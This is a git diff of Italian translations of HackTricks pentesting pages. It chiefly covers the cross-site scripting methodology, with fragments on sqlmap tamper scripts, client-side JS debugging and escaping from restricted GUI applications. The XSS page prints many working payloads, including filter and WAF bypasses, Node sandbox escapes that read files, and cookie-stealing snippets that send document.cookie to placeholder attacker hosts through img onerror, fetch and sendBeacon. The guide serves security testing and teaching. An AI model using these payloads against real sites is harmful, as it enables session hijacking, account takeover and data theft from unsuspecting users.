| unionalltounion.py | Sostituisce UNION ALL SELECT con UNION SELECT |
| unmagicquotes.py | Sostituisce il carattere di virgolette \('\) con una combinazione multi-byte %bf%27 insieme a un commento generico alla fine \(per farlo funzionare\) |
| uppercase.py | Sostituisce ogni carattere della parola chiave con il valore maiuscolo 'INSERT' |
| varnish.py | Aggiunge un'intestazione HTTP 'X-originating-IP' |
| versionedkeywords.py | Racchiude ogni parola chiave non funzione con un commento MySQL versionato |
| versionedmorekeywords.py | Racchiude ogni parola chiave con un commento MySQL versionato |
| xforwardedfor.py | Aggiunge un'intestazione HTTP falsa 'X-Forwarded-For' |
{{#include ../../banners/hacktricks-training.md}}

96
src/pentesting-web/xss-cross-site-scripting/README.md
View File

@ -1,8 +1,10 @@
# XSS (Cross Site Scripting)
{{#include /banners/hacktricks-training.md}}
## Metodologia
1. Controlla se **qualunque valore tu controlli** (_parametri_, _percorso_, _headers_?, _cookies_?) viene **riflesso** nell'HTML o **utilizzato** dal codice **JS**.
1. Controlla se **qualunque valore tu controlli** (_parametri_, _percorso_, _intestazioni_?, _cookie_?) viene **riflesso** nell'HTML o **utilizzato** dal codice **JS**.
2. **Trova il contesto** in cui è riflesso/utilizzato.
3. Se **riflesso**
1. Controlla **quali simboli puoi usare** e a seconda di ciò, prepara il payload:
@ -38,17 +40,17 @@ debugging-client-side-js.md
Per sfruttare con successo un XSS, la prima cosa che devi trovare è un **valore controllato da te che viene riflesso** nella pagina web.
- **Riflesso intermediatamente**: Se scopri che il valore di un parametro o anche il percorso viene riflesso nella pagina web, potresti sfruttare un **Reflected XSS**.
- **Memorizzato e riflesso**: Se scopri che un valore controllato da te è salvato nel server ed è riflesso ogni volta che accedi a una pagina, potresti sfruttare un **Stored XSS**.
- **Accessibile tramite JS**: Se scopri che un valore controllato da te viene accesso utilizzando JS, potresti sfruttare un **DOM XSS**.
- **Memorizzato e riflesso**: Se scopri che un valore controllato da te è salvato nel server e viene riflesso ogni volta che accedi a una pagina, potresti sfruttare un **Stored XSS**.
- **Accesso tramite JS**: Se scopri che un valore controllato da te viene accesso utilizzando JS, potresti sfruttare un **DOM XSS**.
## Contesti
Quando cerchi di sfruttare un XSS, la prima cosa che devi sapere è **dove viene riflesso il tuo input**. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi diversi.
Quando cerchi di sfruttare un XSS, la prima cosa che devi sapere è **dove il tuo input viene riflesso**. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi diversi.
### HTML grezzo
Se il tuo input è **riflesso nella pagina HTML grezza**, dovrai abusare di qualche **tag HTML** per eseguire codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti possibili tag HTML che potresti usare.\
Inoltre, tieni a mente [Client Side Template Injection](../client-side-template-injection-csti.md).
Inoltre, tieni presente [Client Side Template Injection](../client-side-template-injection-csti.md).
### All'interno dell'attributo dei tag HTML
@ -56,7 +58,7 @@ Se il tuo input è riflesso all'interno del valore dell'attributo di un tag, pot
1. A **sfuggire dall'attributo e dal tag** (poi sarai nell'HTML grezzo) e creare un nuovo tag HTML da abusare: `"><img [...]`
2. Se **puoi sfuggire dall'attributo ma non dal tag** (`>` è codificato o eliminato), a seconda del tag potresti **creare un evento** che esegue codice JS: `" autofocus onfocus=alert(1) x="`
3. Se **non puoi sfuggire dall'attributo** (`"` è codificato o eliminato), allora a seconda di **quale attributo** il tuo valore è riflesso in **se controlli tutto il valore o solo una parte**, sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=`, sarai in grado di farlo eseguire codice arbitrario quando viene cliccato. Un altro interessante **esempio** è l'attributo `href`, dove puoi usare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
3. Se **non puoi sfuggire dall'attributo** (`"` è codificato o eliminato), a seconda di **quale attributo** il tuo valore è riflesso in **se controlli tutto il valore o solo una parte**, sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=`, sarai in grado di farlo eseguire codice arbitrario quando viene cliccato. Un altro interessante **esempio** è l'attributo `href`, dove puoi usare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
4. Se il tuo input è riflesso all'interno di "**tag non sfruttabili**", potresti provare il trucco **`accesskey`** per abusare della vulnerabilità (avrai bisogno di qualche tipo di ingegneria sociale per sfruttarla): **`" accesskey="x" onclick="alert(1)" x="`**
Esempio strano di Angular che esegue XSS se controlli un nome di classe:
@ -69,7 +71,7 @@ Esempio strano di Angular che esegue XSS se controlli un nome di classe:
In questo caso, il tuo input è riflesso tra i tag **`<script> [...] </script>`** di una pagina HTML, all'interno di un file `.js` o all'interno di un attributo utilizzando il protocollo **`javascript:`**:
- Se riflesso tra i tag **`<script> [...] </script>`**, anche se il tuo input è all'interno di qualsiasi tipo di virgolette, puoi provare a iniettare `</script>` ed uscire da questo contesto. Questo funziona perché il **browser prima analizzerà i tag HTML** e poi il contenuto, quindi non si accorgerà che il tuo tag `</script>` iniettato è all'interno del codice HTML.
- Se riflesso tra i tag **`<script> [...] </script>`**, anche se il tuo input è all'interno di qualsiasi tipo di virgolette, puoi provare a iniettare `</script>` e uscire da questo contesto. Questo funziona perché il **browser prima analizzerà i tag HTML** e poi il contenuto, quindi non si accorgerà che il tuo tag `</script>` iniettato è all'interno del codice HTML.
- Se riflesso **all'interno di una stringa JS** e l'ultimo trucco non funziona, dovresti **uscire** dalla stringa, **eseguire** il tuo codice e **ricostruire** il codice JS (se c'è un errore, non verrà eseguito):
- `'-alert(1)-'`
- `';-alert(1)//`
@ -132,7 +134,7 @@ dom-xss.md
### **Universal XSS**
Questi tipi di XSS possono essere trovati **ovunque**. Non dipendono solo dall'esploitazione client di un'applicazione web ma da **qualsiasi** **contesto**. Questi tipi di **esecuzione arbitraria di JavaScript** possono persino essere sfruttati per ottenere **RCE**, **leggere** **file** **arbitrari** nei client e nei server, e altro ancora.\
Questi tipi di XSS possono essere trovati **ovunque**. Non dipendono solo dall'esploitazione client di un'applicazione web, ma da **qualsiasi** **contesto**. Questi tipi di **esecuzione arbitraria di JavaScript** possono persino essere sfruttati per ottenere **RCE**, **leggere** **file** **arbitrari** nei client e nei server, e altro ancora.\
Alcuni **esempi**:
{{#ref}}
@ -143,11 +145,11 @@ server-side-xss-dynamic-pdf.md
../../network-services-pentesting/pentesting-web/electron-desktop-apps/
{{#endref}}
## WAF bypass encoding image
## Codifica di bypass WAF immagine
![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>)
## Iniettare all'interno di HTML raw
## Iniezione all'interno di HTML raw
Quando il tuo input è riflesso **all'interno della pagina HTML** o puoi sfuggire e iniettare codice HTML in questo contesto, la **prima** cosa che devi fare è controllare se puoi abusare di `<` per creare nuovi tag: prova semplicemente a **riflettere** quel **carattere** e controlla se viene **HTML codificato** o **eliminato** o se è **riflesso senza modifiche**. **Solo nell'ultimo caso sarai in grado di sfruttare questo caso**.\
Per questi casi, tieni anche presente [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
@ -170,7 +172,7 @@ Vai a [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**
### Tag personalizzati
Se non hai trovato alcun tag HTML valido, puoi provare a **creare un tag personalizzato** ed eseguire codice JS con l'attributo `onfocus`. Nella richiesta XSS, devi terminare l'URL con `#` per far sì che la pagina **focalizzi quell'oggetto** e **esegua** il codice:
Se non hai trovato alcun tag HTML valido, puoi provare a **creare un tag personalizzato** ed eseguire codice JS con l'attributo `onfocus`. Nella richiesta XSS, devi terminare l'URL con `#` per far **focalizzare la pagina su quell'oggetto** e **eseguire** il codice:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
@ -239,7 +241,7 @@ Per controllare in quali caratteri sono decomposti controlla [qui](https://www.c
### Click XSS - Clickjacking
Se per sfruttare la vulnerabilità hai bisogno che **l'utente clicchi su un link o un modulo** con dati precompilati, potresti provare a [**sfruttare il Clickjacking**](../clickjacking.md#xss-clickjacking) (se la pagina è vulnerabile).
Se per sfruttare la vulnerabilità hai bisogno che l'**utente clicchi su un link o un modulo** con dati precompilati, potresti provare a [**sfruttare il Clickjacking**](../clickjacking.md#xss-clickjacking) (se la pagina è vulnerabile).
### Impossibile - Dangling Markup
@ -267,12 +269,12 @@ Se **non puoi uscire dal tag**, potresti creare nuovi attributi all'interno del
```
### All'interno dell'attributo
Anche se **non puoi uscire dall'attributo** (`"` viene codificato o eliminato), a seconda di **quale attributo** il tuo valore viene riflesso **se controlli tutto il valore o solo una parte** sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=` sarai in grado di farlo eseguire codice arbitrario quando viene cliccato.\
Anche se **non puoi uscire dall'attributo** (`"` viene codificato o eliminato), a seconda di **quale attributo** il tuo valore viene riflesso **se controlli tutto il valore o solo una parte** sarai in grado di abusarne. Ad **esempio**, se controlli un evento come `onclick=` sarai in grado di farlo eseguire codice arbitrario quando viene cliccato.\
Un altro **esempio** interessante è l'attributo `href`, dove puoi usare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
**Bypass all'interno dell'evento usando la codifica HTML/URL encode**
I **caratteri codificati in HTML** all'interno del valore degli attributi dei tag HTML vengono **decodificati durante l'esecuzione**. Pertanto qualcosa come il seguente sarà valido (il payload è in grassetto): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Torna Indietro </a>`
I **caratteri codificati in HTML** all'interno del valore degli attributi dei tag HTML vengono **decodificati durante l'esecuzione**. Pertanto, qualcosa come il seguente sarà valido (il payload è in grassetto): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Torna Indietro </a>`
Nota che **qualsiasi tipo di codifica HTML è valido**:
```javascript
@ -301,7 +303,7 @@ Nota che **qualsiasi tipo di codifica HTML è valido**:
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
```
### Protocollo Speciali All'interno dell'attributo
### Protocollo speciali all'interno dell'attributo
Qui puoi utilizzare i protocolli **`javascript:`** o **`data:`** in alcuni luoghi per **eseguire codice JS arbitrario**. Alcuni richiederanno interazione dell'utente, altri no.
```javascript
@ -377,7 +379,7 @@ Puoi usare **Hex** e **Octal encode** all'interno dell'attributo `src` di `ifram
```javascript
<a target="_blank" rel="opener"
```
Se puoi iniettare qualsiasi URL in un arbitrario **`<a href=`** tag che contiene gli attributi **`target="_blank" e rel="opener"`**, controlla **la seguente pagina per sfruttare questo comportamento**:
Se puoi iniettare qualsiasi URL in un arbitrario **`<a href=`** tag che contiene gli attributi **`target="_blank" e rel="opener"`**, controlla la **seguente pagina per sfruttare questo comportamento**:
{{#ref}}
../reverse-tab-nabbing.md
@ -401,9 +403,9 @@ Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
```
### XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
### XSS in "Tag non sfruttabili" (input nascosto, link, canonico, meta)
Da [**qui**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **è ora possibile abusare degli input nascosti con:**
Da [**qui**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **ora è possibile abusare degli input nascosti con:**
```html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
@ -422,7 +424,7 @@ onbeforetoggle="alert(2)" />
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
Da [**qui**](https://portswigger.net/research/xss-in-hidden-input-fields): Puoi eseguire un **payload XSS all'interno di un attributo nascosto**, a patto di poter **persuadere** la **vittima** a premere la **combinazione di tasti**. Su Firefox Windows/Linux la combinazione di tasti è **ALT+SHIFT+X** e su OS X è **CTRL+ALT+X**. Puoi specificare una combinazione di tasti diversa utilizzando un tasto diverso nell'attributo access key. Ecco il vettore:
Da [**qui**](https://portswigger.net/research/xss-in-hidden-input-fields): Puoi eseguire un **payload XSS all'interno di un attributo nascosto**, a condizione di poter **persuadere** la **vittima** a premere la **combinazione di tasti**. Su Firefox Windows/Linux la combinazione di tasti è **ALT+SHIFT+X** e su OS X è **CTRL+ALT+X**. Puoi specificare una combinazione di tasti diversa utilizzando un tasto diverso nell'attributo access key. Ecco il vettore:
```html
<input type="hidden" accesskey="X" onclick="alert(1)">
```
@ -444,7 +446,7 @@ Leggi i [Bypass della Blacklist della sezione precedente](#blacklist-bypasses).
**Bypass per codice JavaScript**
Leggi la [blacklist dei bypass JavaScript della sezione seguente](#javascript-bypass-blacklists-techniques).
Leggi la [blacklist di bypass JavaScript della sezione seguente](#javascript-bypass-blacklists-techniques).
### CSS-Gadgets
@ -476,7 +478,7 @@ Se il tuo codice è inserito all'interno di `<script> [...] var input = 'dati ri
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
Nota che in questo esempio **non abbiamo nemmeno chiuso l'apostrofo**. Questo perché **l'analisi HTML viene eseguita prima dal browser**, il che comporta l'identificazione degli elementi della pagina, inclusi i blocchi di script. L'analisi di JavaScript per comprendere ed eseguire gli script incorporati viene eseguita solo successivamente.
Nota che in questo esempio **non abbiamo nemmeno chiuso l'apostrofo**. Questo perché **l'analisi HTML viene eseguita prima dal browser**, che implica l'identificazione degli elementi della pagina, inclusi i blocchi di script. L'analisi di JavaScript per comprendere ed eseguire gli script incorporati viene effettuata solo successivamente.
### All'interno del codice JS
@ -488,8 +490,8 @@ Se `<>` vengono sanificati, puoi comunque **eseguire l'escape della stringa** do
```
### Template literals \`\`
Per costruire **stringhe** oltre alle virgolette singole e doppie, JS accetta anche i **backtick** **` `` `**. Questo è noto come template literals poiché consentono di **inserire espressioni JS** utilizzando la sintassi `${ ... }`.\
Pertanto, se scopri che il tuo input viene **riflesso** all'interno di una stringa JS che utilizza i backtick, puoi abusare della sintassi `${ ... }` per eseguire **codice JS arbitrario**:
Per costruire **stringhe** oltre alle virgolette singole e doppie, JS accetta anche i **backticks** **` `` `**. Questo è noto come template literals poiché consentono di **inserire espressioni JS** utilizzando la sintassi `${ ... }`.\
Pertanto, se scopri che il tuo input viene **riflesso** all'interno di una stringa JS che utilizza i backticks, puoi abusare della sintassi `${ ... }` per eseguire **codice JS arbitrario**:
Questo può essere **abusato** utilizzando:
```javascript
@ -554,7 +556,7 @@ eval(8680439..toString(30))(983801..toString(36))
<TAB>
/**/
```
**Commenti JavaScript (da** [**Commenti JavaScript**](#javascript-comments) **trucco)**
**Commenti JavaScript (dal** [**trucchi Commenti JavaScript**](#javascript-comments) **)**
```javascript
//This is a 1 line comment
/* This is a multiline comment*/
@ -740,7 +742,7 @@ top[8680439..toString(30)](1)
## **Vulnerabilità DOM**
C'è del **codice JS** che utilizza **dati controllati in modo non sicuro da un attaccante** come `location.href`. Un attaccante potrebbe abusare di questo per eseguire codice JS arbitrario.\
**A causa dell'estensione della spiegazione di** [**vulnerabilità DOM è stata spostata in questa pagina**](dom-xss.md)**:**
**A causa dell'estensione della spiegazione di** [**vulnerabilità DOM è stata spostata a questa pagina**](dom-xss.md)**:**
{{#ref}}
dom-xss.md
@ -767,7 +769,7 @@ Forse un utente può condividere il proprio profilo con l'amministratore e se il
### Session Mirroring
Se trovi del self XSS e la pagina web ha un **session mirroring per gli amministratori**, ad esempio consentendo ai clienti di chiedere aiuto, affinché l'amministratore possa aiutarti, vedrà ciò che stai vedendo nella tua sessione ma dalla sua sessione.
Se trovi del self XSS e la pagina web ha un **session mirroring per gli amministratori**, ad esempio consentendo ai clienti di chiedere aiuto, affinché l'amministratore possa aiutarti vedrà ciò che stai vedendo nella tua sessione ma dalla sua sessione.
Potresti far **attivare il tuo self XSS all'amministratore** e rubare i suoi cookie/sessione.
@ -783,7 +785,7 @@ Potresti controllare se i **valori riflessi** vengono **normalizzati in unicode*
```
### Ruby-On-Rails bypass
A causa dell'**assegnazione di massa RoR**, le citazioni vengono inserite nell'HTML e quindi la restrizione delle citazioni viene bypassata e campi aggiuntivi (onfocus) possono essere aggiunti all'interno del tag.\
A causa dell'**assegnazione di massa RoR**, le citazioni vengono inserite nell'HTML e quindi la restrizione delle citazioni viene bypassata e possono essere aggiunti campi aggiuntivi (onfocus) all'interno del tag.\
Esempio di modulo ([da questo report](https://hackerone.com/reports/709336)), se invii il payload:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
@ -826,7 +828,7 @@ document['default'+'View'][`\u0061lert`](3)
```
### XSS con iniezione di intestazioni in una risposta 302
Se scopri che puoi **iniettare intestazioni in una risposta di reindirizzamento 302**, potresti provare a **far eseguire al browser JavaScript arbitrario**. Questo **non è banale** poiché i browser moderni non interpretano il corpo della risposta HTTP se il codice di stato della risposta HTTP è 302, quindi un payload di cross-site scripting è inutile.
Se scopri che puoi **iniettare intestazioni in una risposta di reindirizzamento 302**, potresti provare a **far eseguire al browser JavaScript arbitrario**. Questo non è **triviale** poiché i browser moderni non interpretano il corpo della risposta HTTP se il codice di stato della risposta HTTP è 302, quindi un payload di cross-site scripting è inutile.
In [**questo report**](https://www.gremwell.com/firefox-xss-302) e [**questo**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puoi leggere come puoi testare diversi protocolli all'interno dell'intestazione Location e vedere se uno di essi consente al browser di ispezionare ed eseguire il payload XSS all'interno del corpo.\
Protocolli noti in passato: `mailto://`, `//x:1/`, `ws://`, `wss://`, _intestazione Location vuota_, `resource://`.
@ -865,7 +867,7 @@ const char* const kSupportedJavascriptTypes[] = {
```
### Tipi di script per XSS
(Da [**qui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Quindi, quali tipi potrebbero essere indicati per caricare uno script?
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Quindi, quali tipi potrebbero essere indicati per caricare uno script?
```html
<script type="???"></script>
```
@ -917,9 +919,9 @@ Questo comportamento è stato utilizzato in [**questo writeup**](https://github.
}
</script>
```
### Web Content-Types to XSS
### Tipi di contenuto web per XSS
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) I seguenti tipi di contenuto possono eseguire XSS in tutti i browser:
(Da [**qui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) I seguenti tipi di contenuto possono eseguire XSS in tutti i browser:
- text/html
- application/xhtml+xml
@ -927,12 +929,12 @@ Questo comportamento è stato utilizzato in [**questo writeup**](https://github.
- text/xml
- image/svg+xml
- text/plain (?? non nella lista ma penso di averlo visto in un CTF)
- application/rss+xml (off)
- application/atom+xml (off)
- application/rss+xml (spento)
- application/atom+xml (spento)
In altri browser possono essere utilizzati altri **`Content-Types`** per eseguire JS arbitrario, controlla: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### xml Content Type
### Tipo di contenuto xml
Se la pagina restituisce un tipo di contenuto text/xml è possibile indicare uno spazio dei nomi ed eseguire JS arbitrario:
```xml
@ -942,19 +944,19 @@ Se la pagina restituisce un tipo di contenuto text/xml è possibile indicare uno
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
```
### Modelli di Sostituzione Speciali
### Special Replacement Patterns
Quando si utilizza qualcosa come **`"some {{template}} data".replace("{{template}}", <user_input>)`**, l'attaccante potrebbe utilizzare [**sostituzioni di stringhe speciali**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) per cercare di eludere alcune protezioni: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
Ad esempio, in [**questo writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), questo è stato utilizzato per **scappare una stringa JSON** all'interno di uno script ed eseguire codice arbitrario.
### Cache di Chrome a XSS
### Chrome Cache to XSS
{{#ref}}
chrome-cache-to-xss.md
{{#endref}}
### Escape da XS Jails
### XS Jails Escape
Se hai solo un insieme limitato di caratteri da utilizzare, controlla queste altre soluzioni valide per i problemi di XSJail:
```javascript
@ -987,14 +989,14 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
Se **tutto è indefinito** prima di eseguire codice non affidabile (come in [**questo articolo**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), è possibile generare oggetti utili "dal nulla" per abusare dell'esecuzione di codice arbitrario non affidabile:
Se **tutto è indefinito** prima di eseguire codice non affidabile (come in [**questo writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), è possibile generare oggetti utili "dal nulla" per abusare dell'esecuzione di codice arbitrario non affidabile:
- Utilizzando import()
```javascript
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
```
- Accesso a `require` in modo indiretto
- Accedere a `require` in modo indiretto
[Secondo questo](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) i moduli sono racchiusi da Node.js all'interno di una funzione, in questo modo:
```javascript
@ -1240,13 +1242,13 @@ steal-info-js.md
### Trappola Iframe
Fai navigare l'utente nella pagina senza uscire da un iframe e ruba le sue azioni (inclusa l'informazione inviata nei moduli):
Fai navigare l'utente nella pagina senza uscire da un iframe e ruba le sue azioni (inclusi i dati inviati nei moduli):
{{#ref}}
../iframe-traps.md
{{#endref}}
### Recupera Cookies
### Recupera Cookie
```javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
@ -1268,7 +1270,7 @@ Fai navigare l'utente nella pagina senza uscire da un iframe e ruba le sue azion
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
> [!NOTE]
> [!TIP]
> Non **sarai in grado di accedere ai cookie da JavaScript** se il flag HTTPOnly è impostato nel cookie. Ma qui hai [alcuni modi per bypassare questa protezione](../hacking-with-cookies/index.html#httponly) se sei abbastanza fortunato.
### Rubare il contenuto della pagina
@ -1500,7 +1502,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
```
### Regex - Accesso ai Contenuti Nascosti
Da [**questo articolo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) è possibile apprendere che anche se alcuni valori scompaiono da JS, è ancora possibile trovarli negli attributi JS in diversi oggetti. Ad esempio, un input di un REGEX è ancora possibile trovarlo dopo che il valore dell'input del regex è stato rimosso:
Da [**questo writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) è possibile apprendere che anche se alcuni valori scompaiono da JS, è ancora possibile trovarli negli attributi JS in diversi oggetti. Ad esempio, un input di un REGEX è ancora possibile trovarlo dopo che il valore dell'input del regex è stato rimosso:
```javascript
// Do regex with flag
flag = "CTF{FLAG}"
@ -1523,7 +1525,7 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
{{#endref}}
## XSS Abusando di altre vulnerabilità
## XSS Abusare di altre vulnerabilità
### XSS in Markdown
@ -1540,7 +1542,7 @@ Hai XSS su un **sito che utilizza la cache**? Prova **a passare a SSRF** tramite
<esi:include src="http://yoursite.com/capture" />
```
Usalo per bypassare le restrizioni sui cookie, i filtri XSS e molto altro!\
Maggiore informazione su questa tecnica qui: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
Ulteriori informazioni su questa tecnica qui: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
### XSS in PDF creati dinamicamente
@ -1561,7 +1563,7 @@ pdf-injection.md
AMP, mirato ad accelerare le prestazioni delle pagine web sui dispositivi mobili, incorpora tag HTML integrati da JavaScript per garantire funzionalità con un'enfasi su velocità e sicurezza. Supporta una gamma di componenti per varie funzionalità, accessibili tramite [AMP components](https://amp.dev/documentation/components/?format=websites).
Il formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende componenti AMP specifici alle email, consentendo ai destinatari di interagire con i contenuti direttamente all'interno delle loro email.
Il formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende specifici componenti AMP alle email, consentendo ai destinatari di interagire con i contenuti direttamente all'interno delle loro email.
Esempio [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
@ -1623,7 +1625,7 @@ id="foo"/>
```xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
```
Trova **altri payload SVG in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
Trova **ulteriori payload SVG in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
## Suggerimenti JS vari e informazioni rilevanti

6
src/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md
View File

@ -1,7 +1,5 @@
# Debugging Client Side JS
## Debugging Client Side JS
{{#include ../../banners/hacktricks-training.md}}
Il debugging del JS lato client può essere complicato perché ogni volta che cambi l'URL (incluso un cambiamento nei parametri utilizzati o nei valori dei parametri) devi **ripristinare il breakpoint e ricaricare la pagina**.
@ -12,12 +10,12 @@ Se posizioni la riga `debugger;` all'interno di un file JS, quando il **browser*
### Overrides
Le sovrascritture del browser consentono di avere una copia locale del codice che verrà eseguito e di eseguire quella invece di quella del server remoto.\
Le sovrascritture del browser consentono di avere una copia locale del codice che verrà eseguito ed eseguire quella invece di quella del server remoto.\
Puoi **accedere alle sovrascritture** in "Dev Tools" --> "Sources" --> "Overrides".
Devi **creare una cartella locale vuota da utilizzare per memorizzare le sovrascritture**, quindi crea semplicemente una nuova cartella locale e impostala come sovrascrittura in quella pagina.
Poi, in "Dev Tools" --> "Sources" **seleziona il file** che desideri sovrascrivere e con **clic destro seleziona "Save for overrides"**.
Poi, in "Dev Tools" --> "Sources" **seleziona il file** che vuoi sovrascrivere e con **clic destro seleziona "Save for overrides"**.
![](<../../images/image (742).png>)

49
src/physical-attacks/escaping-from-gui-applications/README.md
View File

@ -1,49 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
# Controlla le possibili azioni all'interno dell'applicazione GUI
**Dialoghi comuni** sono quelle opzioni di **salvataggio di un file**, **apertura di un file**, selezione di un font, un colore... La maggior parte di essi **offrirà una funzionalità completa di Explorer**. Questo significa che sarai in grado di accedere alle funzionalità di Explorer se puoi accedere a queste opzioni:
- Chiudi/Chiudi come
- Apri/Apri con
- Stampa
- Esporta/Importa
- Cerca
- Scansiona
Dovresti controllare se puoi:
- Modificare o creare nuovi file
- Creare collegamenti simbolici
- Accedere ad aree riservate
- Eseguire altre app
## Esecuzione di comandi
Forse **utilizzando un'opzione `Apri con`** puoi aprire/eseguire qualche tipo di shell.
### Windows
Ad esempio _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ trova più binari che possono essere utilizzati per eseguire comandi (e compiere azioni inaspettate) qui: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
### \*NIX \_\_
_bash, sh, zsh..._ Maggiori informazioni qui: [https://gtfobins.github.io/](https://gtfobins.github.io)
# Windows
## Bypassare le restrizioni del percorso
- **Variabili di ambiente**: Ci sono molte variabili di ambiente che puntano a qualche percorso
- **Altri protocolli**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
- **Collegamenti simbolici**
- **Scorciatoie**: CTRL+N (apri nuova sessione), CTRL+R (Esegui comandi), CTRL+SHIFT+ESC (Gestione attività), Windows+E (apri explorer), CTRL-B, CTRL-I (Preferiti), CTRL-H (Cronologia), CTRL-L, CTRL-O (File/Dialogo di apertura), CTRL-P (Dialogo di stampa), CTRL-S (Salva con nome)
- Menu amministrativo nascosto: CTRL-ALT-F8, CTRL-ESC-F9
- **Shell URIs**: _shell:Strumenti amministrativi, shell:Libreria documenti, shell:Librerie, shell:Profili utente, shell:Personale, shell:Cerca nella cartella home, shell:Posti di rete, shell:Invia a, shell:Profili utenti, shell:Strumenti amministrativi comuni, shell:Cartella computer, shell:Cartella Internet_
- **Percorsi UNC**: Percorsi per connettersi a cartelle condivise. Dovresti provare a connetterti al C$ della macchina locale ("\\\127.0.0.1\c$\Windows\System32")
- **Altri percorsi UNC:**
| UNC | UNC | UNC |
| ------------------------- | -------------- | -------------------- |
| %ALLUSERSPROFILE% | %APPDATA% | %CommonProgramFiles% |
| %COMMONPROGRAMFILES(x86)% | %COMPUT

240
src/physical-attacks/firmware-analysis/README.md
View File

@ -1,240 +0,0 @@
# Analisi del Firmware
{{#include ../../banners/hacktricks-training.md}}
## **Introduzione**
